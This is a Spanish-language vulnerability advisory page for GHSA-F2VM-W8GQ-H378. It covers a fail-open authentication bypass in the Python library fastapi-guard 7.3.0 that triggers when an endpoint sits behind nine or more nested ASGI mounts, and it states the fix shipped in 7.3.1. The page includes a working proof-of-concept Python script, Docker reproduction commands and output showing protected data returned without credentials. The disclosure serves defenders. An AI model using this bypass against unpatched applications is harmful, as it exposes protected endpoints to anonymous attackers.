GHSA-F2VM-W8GQ-H378
Omisión de autenticación por ruta en montajes ASGI anidados a gran profundidad en `fastapi-guard`
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 7.3.1 | fastapi-guard · -14 d desde divulgación | |
| Divulgación | Publicada | GHSA-F2VM-W8GQ-H378 divulgada · CVSS 7.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Omisión de autenticación por ruta en montajes ASGI anidados a gran profundidad en `fastapi-guard`
### Resumen
`SecurityMiddleware` de `fastapi-guard` resuelve la ruta de la solicitud actual recorriendo de forma recursiva el árbol de `Mount` de ASGI en `SecurityMiddleware._match_route()`. Este recorrido recursivo tiene un límite fijo de profundidad de 8 (`guard/middleware.py:357`, `if depth >= 8: continue`). Cuando un endpoint protegido está montado a 9 o más niveles de `Mount`, la resolución de rutas se detiene silenciosamente antes de llegar a él, por lo que `request.state.guard_route_id` nunca se llena. Posteriormente, el resolvedor de configuración de rutas de `guard-core` y la verificación de autenticación tratan una ruta o una configuración de ruta ausente como "nada que aplicar" y retornan sin exigir autenticación (fail-open). El efecto neto es que cualquier endpoint protegido mediante un decorador por ruta (por ejemplo, `@guard_deco.require_auth(type="bearer")`) queda completamente sin autenticación, accesible para cualquier cliente remoto anónimo, una vez que está detrás de 9 o más montajes anidados, aunque el mismo decorador sí aplica un 401 con 8 o menos montajes anidados. Se trata de una omisión remota y sin autenticación de la confidencialidad e integridad de un control de seguridad que el desarrollador de la aplicación configuró explícitamente, con severidad alta (puntuación base CVSS 3.1 de 7.4).
### Detalles
La ruta de código vulnerable está completamente dentro del módulo empaquetado `guard/` (el único paquete distribuido según la configuración `[tool.hatch.build.targets.wheel]` de `pyproject.toml`), por lo que afecta a la biblioteca real y distribuida, no solo a código de ejemplo o demostración.
Cadena de llamadas (fuente → sumidero):
- `guard/middleware.py:480`: `SecurityMiddleware.dispatch()` se ejecuta en cada solicitud HTTP que maneja la aplicación ASGI.
- `guard/middleware.py:485-487`: `dispatch()` llama a `_populate_guard_state()` para adjuntar a la solicitud el estado relacionado con Guard (incluido `guard_route_id`) antes de que se ejecute cualquier verificación.
- `guard/middleware.py:395-397`: dentro de `_populate_guard_state()`, si `_resolve_route()` no devuelve un objeto de ruta coincidente, la función retorna anticipadamente sin establecer `request.state.guard_route_id`.
- `guard/middleware.py:334-342` (`_resolve_route()`) delega en `_match_route()`, que desciende recursivamente a los subrutas de cada `Mount` de ASGI buscando el endpoint que coincide con el scope actual.
- `guard/middleware.py:344-364`: `_match_route(routes, scope, depth)` es el resolvedor recursivo. El defecto crítico es el siguiente:
- `guard_core/core/routing/resolver.py:17-19`: el resolvedor de configuración de rutas comprueba la presencia de `request.state.guard_route_id`; si no existe (porque el paso 5 nunca lo estableció), devuelve `None` como configuración de la ruta.
- `guard_core/core/checks/implementations/route_config.py:12-14`: el pipeline de verificaciones guarda este `None` en `request.state.route_config` sin ningún error ni valor por defecto fail-closed.
- `guard_core/core/checks/implementations/authentication.py:50-52`: la verificación de autenticación lee `route_config` y, si es falsy, retorna de inmediato sin exigir autenticación:
La combinación de (5), el truncamiento silencioso e ilimitado del descubrimiento de rutas, y (8), la regla de "configuración ausente ⇒ omitir autenticación", produce una omisión de autenticación fail-open: cuanto más profundo está montado un endpoint, más probable es que se supere este límite codificado, y no existe ningún registro, excepción ni métrica que indique que la autenticación se omitió debido a un estado de ruta no resuelto.
La precondición (9 o más niveles de `Mount` anidados) no es una configuración rara ni exclusiva de administradores; es una propiedad estructural o arquitectónica de cómo una aplicación compone sus aplicaciones ASGI (común en aplicaciones FastAPI modulares de gran tamaño, pasarelas de API o composición de aplicaciones tipo plugin). Además, no requiere privilegios especiales ni interacción del usuario para activarse desde la red. Esto se refleja en el vector CVSS `AC:H` (Complejidad de ataque alta), ya que el atacante necesita determinar y apuntar a esa topología; sin embargo, una vez identificada, la explotación es trivial y repetible con una solicitud HTTP sin autenticación.
### PoC
Se usaron tanto un PoC estático o a nivel de biblioteca como un PoC dinámico de caja negra en contenedor para confirmar esta vulnerabilidad. Cualquiera de los dos reproduce el problema.
Opción A: PoC directo en la biblioteca (reproducción estática/dinámica de la Fase 2 mediante transporte ASGI en el mismo proceso):
Configuración:
python3 -m venv /tmp/fg-poc
/tmp/fg-poc/bin/python -m pip install -U pip
/tmp/fg-poc/bin/python -m pip install fastapi-guard==7.3.0 httpxScript (`poc_inprocess.py`):
from fastapi import FastAPI
from httpx import AsyncClient, ASGITransport
import asyncio
from guard import SecurityConfig, SecurityDecorator, SecurityMiddleware
async def run_case(mounts: int):
config = SecurityConfig(
enable_penetration_detection=False,
enforce_https=False,
enable_redis=False,
enable_rate_limiting=False,
)
guard_deco = SecurityDecorator(config)
apps = [FastAPI() for _ in range(mounts + 1)]
@guard_deco.require_auth(type="bearer")
@apps[-1].get("/secret")
async def secret():
return {"secret": True}
for i in range(mounts - 1, -1, -1):
apps[i].mount(f"/m{i}", apps[i + 1])
root = apps[0]
root.add_middleware(SecurityMiddleware, config=config)
root.state.guard_decorator = guard_deco
path = "".join(f"/m{i}" for i in range(mounts)) + "/secret"
async with AsyncClient(transport=ASGITransport(app=root), base_url="http://test") as client:
r = await client.get(path, follow_redirects=False)
print(mounts, r.status_code, r.text)
asyncio.run(run_case(8))
asyncio.run(run_case(9))Salida esperada u observada:
8 401 Authentication required
9 200 {"secret":true}Opción B: reproducción en contenedor de caja negra (verificación dinámica de la Fase 2), archivos en el directorio `vuln-001/` de este informe:
Compile y ejecute el objetivo exactamente como se publicó, sin modificaciones en el código fuente (el `Dockerfile` copia la copia sin modificar del repositorio e instala el paquete mediante `pip install /app/repo`):
# from the parent directory containing repo/ and vuln-001/
docker build -f vuln-001/Dockerfile -t vuln001-fastapi-guard .
docker run -d --rm --name vuln001-poc -p 127.0.0.1:8000:8000 vuln001-fastapi-guard`server.py` (incluido en la imagen) expone dos árboles independientes de `Mount` anidados, usando únicamente APIs públicas de `fastapi_guard` (`SecurityMiddleware`, `SecurityDecorator.require_auth`): `/depth8/...` (8 montajes anidados, dentro del límite de recursión) y `/depth9/...` (9 montajes anidados, por encima del límite). Ambos árboles protegen un endpoint `GET /secret` idéntico mediante `@guard_deco.require_auth(type="bearer")`.
Ejecute el cliente de PoC (`poc.py`) contra el contenedor en ejecución:
python3 poc.py --host 127.0.0.1 --port 8000Salida observada:
[8 mounts] GET /depth8/m0/m1/m2/m3/m4/m5/m6/m7/secret (no Authorization header) -> 401 Authentication required
[9 mounts] GET /depth9/m0/m1/m2/m3/m4/m5/m6/m7/m8/secret (no Authorization header) -> 200 {"secret":true}
[*] Summary
8-mount baseline auth enforced (expect 401): True
9-mount bypass reproduced (expect 200): True
9-mount protected payload leaked: True
[+] VULN-001 CONFIRMED: unauthenticated request reached a bearer-auth-protected endpoint via 9 nested Mount levels while the identical decorator enforced 401 at 8 nested Mount levels.Los registros propios del contenedor lo corroboran: la solicitud con 8 montajes produce `WARNING - Suspicious activity detected ... Authentication failure: Missing or invalid Bearer token` y `Request blocked by authentication` antes de devolver `401`, mientras que la solicitud con 9 montajes no produce ninguna entrada relacionada con autenticación y devuelve `200 OK` directamente. Esto demuestra que la verificación de autenticación nunca se invocó para la ruta anidada en profundidad.
### Impacto
Se trata de una vulnerabilidad remota y sin autenticación de omisión de autenticación (CWE-287, Autenticación inadecuada). Cualquier aplicación que use `fastapi_guard.SecurityMiddleware` junto con decoradores por ruta (`require_auth` y, por la misma ruta de código, cualquier otra verificación protegida por decorador que dependa de `route_config`) para proteger endpoints montados a 9 o más niveles de `Mount` de profundidad servirá silenciosamente esos endpoints a usuarios no autenticados y no autorizados
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypifastapi-guard |
Corregida | 7.3.1 | -14 d | 8.1.2 no afectada |
7.3.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Guard-Core/fastapi-guard/security/advisories/GHSA-f2vm-w8gq-h378Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
